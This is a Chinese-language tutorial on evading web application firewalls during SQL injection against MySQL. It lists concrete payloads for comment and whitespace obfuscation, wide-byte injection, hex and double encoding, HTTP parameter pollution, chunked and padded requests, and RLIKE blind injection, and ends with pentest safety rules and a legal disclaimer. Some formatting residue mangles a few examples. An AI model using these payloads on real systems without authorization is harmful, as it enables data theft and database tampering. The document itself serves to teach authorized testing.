本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
感谢:本文章思路归属于猎洞时刻的师傅
WAF 绕过的核心逻辑在于:利用 WAF 正则引擎、中间件解析层与底层数据库(如 MySQL)对同一段字符的"认知偏差"寻找语法间隙。
一、 语法层:字符混淆与干扰
1.1 注释符的深度运用
- 物理分割链条 :
UNION/**/SELECT - 填充干扰字符 :
UNION/*%00*/SELECT、UNION/*%0a*/SELECT、UNION/*any_string*/SELECT - MySQL 内联注释 :
- 基础:
/*!UNION*/ /*!SELECT*/ - 版本探测:
/*!50448SELECT*/(若当前 MySQL 版本 ≥\ge≥ 5.4.48 则执行) - 畸形语法:
/*!00000SELECT*/(在所有版本中均会执行)
- 基础:
1.2 空白符替代方案
WAF 往往死盯着 %20 (空格) 和 +。
- URL 编码控制字符 :
%09(Tab),%0a(换行),%0b(垂直制表),%0c(换页),%0d(回车)
- 符号替代 (无需空格注入) :
- 括号包裹法:
UNION(SELECT(1),2,3) - 反引号包裹法:
SELECTversion() - 算术/属性符法:
id=1.0UNION.SELECT.1,2或id=1-1+UNION+SELECT+1,2
- 括号包裹法:
1.3 字符集失配 (Charset Mismatch)
利用 WAF 与数据库解析编码的不一致实现"隐身"。
- 宽字节注入 :在 GBK 编码环境下,利用
%df吞掉转义符\。id=1%df' AND 1=1 --+
- Unicode 归一化 (Normalization) :部分 WAF 会将特殊的 Unicode 字符(如
%)转换回标准 ASCII(如%),通过构造 WAF 识别后的"安全"字符串,在后端还原为攻击 Payload。
二、 语义层:关键字与函数变形
2.1 逻辑运算符替代
| 原词 | 替代符号 | 备注 |
|---|---|---|
AND |
&& (%26%26) |
标准逻辑与 |
OR |
` | |
OR |
XOR |
异或判断,1 XOR 0 = 1 |
AND |
REGEXP |
id=1 REGEXP '^a' (正则判断) |
2.2 控制流与条件混淆
当 IF() 函数被封杀时,可以使用更复杂的结构:
- CASE 结构 :
CASE WHEN (1=1) THEN 1 ELSE 0 END - ELT 函数 :
ELT(1, 'a', 'b')(返回第一个字符串) - COALESCE 函数 :
COALESCE(NULL, 1)(返回第一个非空值)
2.3 替代元数据查询 (Bypassing information_schema)
WAF 通常严密监控 information_schema。
- MySQL 5.7+ 替代方案 :
sys.schema_table_statistics_with_buffersys.x$schema_flattened_keys
- 无列名注入 (Join Based) :利用
UNION SELECT * FROM (SELECT 1) a JOIN (SELECT 2) b等结构探测列数。
三、 编码与表达层:数据特征隐藏
3.1 十六进制 (Hex) 绕过
针对引号过滤的核心技巧。
- 字符串 Hex 化 :
'admin'→\rightarrow→0x61646d696e - 嵌套转换 :
UNHEX('61646d696e')
3.2 隐式类型转换与算术运算
- 浮点数绕过 :
id=1.0,id=1e0,id=10e-1 - 算术还原 :
id='1abc'-0(MySQL 将前导数字识别为 1) - 位运算 :使用
<<、>>、&、^替代简单的数值比较。
3.3 双重编码 (Double Encoding)
若 WAF 在解码一次后即进行规则匹配,而应用端会解码两次:
SELECT→\rightarrow→%53%45%4c%45%43%54(单次) →\rightarrow→%25%35%33%25%34%35...(双重)
四、 协议与传输层:深度解析差异
4.1 分块传输 (Chunked Encoding)
手动构造 HTTP 报文,将恶意代码切分到不同的 Chunk 中,欺骗只检测前 N 个字节或完整 Body 的 WAF。
4.2 参数污染 (HPP - HTTP Parameter Pollution)
利用中间件对重复参数处理的逻辑差异:
- PHP/Apache:取最后一个参数值。
- ASP/IIS:拼接所有参数值(逗号分隔)。
- 实战 Payload (ASP/IIS) :
?id=1/*&id=*/UNION/*&id=*/SELECT/*&id=*/1,2,3- WAF 看到:
id=1/*,id=*/UNION/*等碎块(安全)。 - 后端处理:
id=1/*,*/UNION/*,*/SELECT/*,*/1,2,3(执行)。
- WAF 看到:
4.3 脏数据填充 (Size Limit)
WAF 性能瓶颈利用:在 POST 请求中填充数 KB 的垃圾数据(如 a=1&junk=AAAA...&id=1' UNION...),核心 Payload 若超出 WAF 的检测窗口深度,则会被直接放行。
五、 高级技巧:隐蔽盲注变形
5.1 正则报错盲注 (RLIKE Error)
利用正则引擎在解析非法语法时报错的特性:
- Payload :
AND 1=(SELECT 1 FROM DUAL WHERE 1 RLIKE IF(SUBSTR(user(),1,1)='r', 0x22, 0x28))0x22(双引号) 是合法正则,不报错;0x28(左括号) 是非法正则,直接导致 SQL 报错。
5.2 二阶注入 (Second-Order SQLi)
攻击 Payload 在第一次请求(如注册、修改资料)中被安全存储到数据库中,在第二次请求(如查看个人主页、生成报表)时被取出并拼接到 SQL 语句中执行。WAF 往往只关注入口流量,很难防御已在数据库内部的攻击。
六、 安全红线:生产环境避坑指南
SQL 注入不仅是数据泄露,更是逻辑篡改。
- 拒绝 OR 1=1 :在
UPDATE/DELETE点注入时,使用OR 1=1会导致全表覆盖或清空。这是重大的生产事故。 - 逻辑收敛测试 :
- 优先使用
AND 1=2(确认影响结果集缩减); - 探测延迟建议使用
SLEEP(1)且带上LIMIT 1条件。
- 优先使用
- 数据完整性保护 :
- 严禁在未授权环境执行
INTO OUTFILE写 WebShell; - 严禁执行
DROP TABLE或TRUNCATE操作。
- 严禁在未授权环境执行
- 原则:渗透测试应遵循最小损害原则,所有破坏性操作必须在克隆的沙盒环境中验证。
宇宙级免责声明
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。
希望这个教程对你有所帮助!记得负责任地进行安全测试。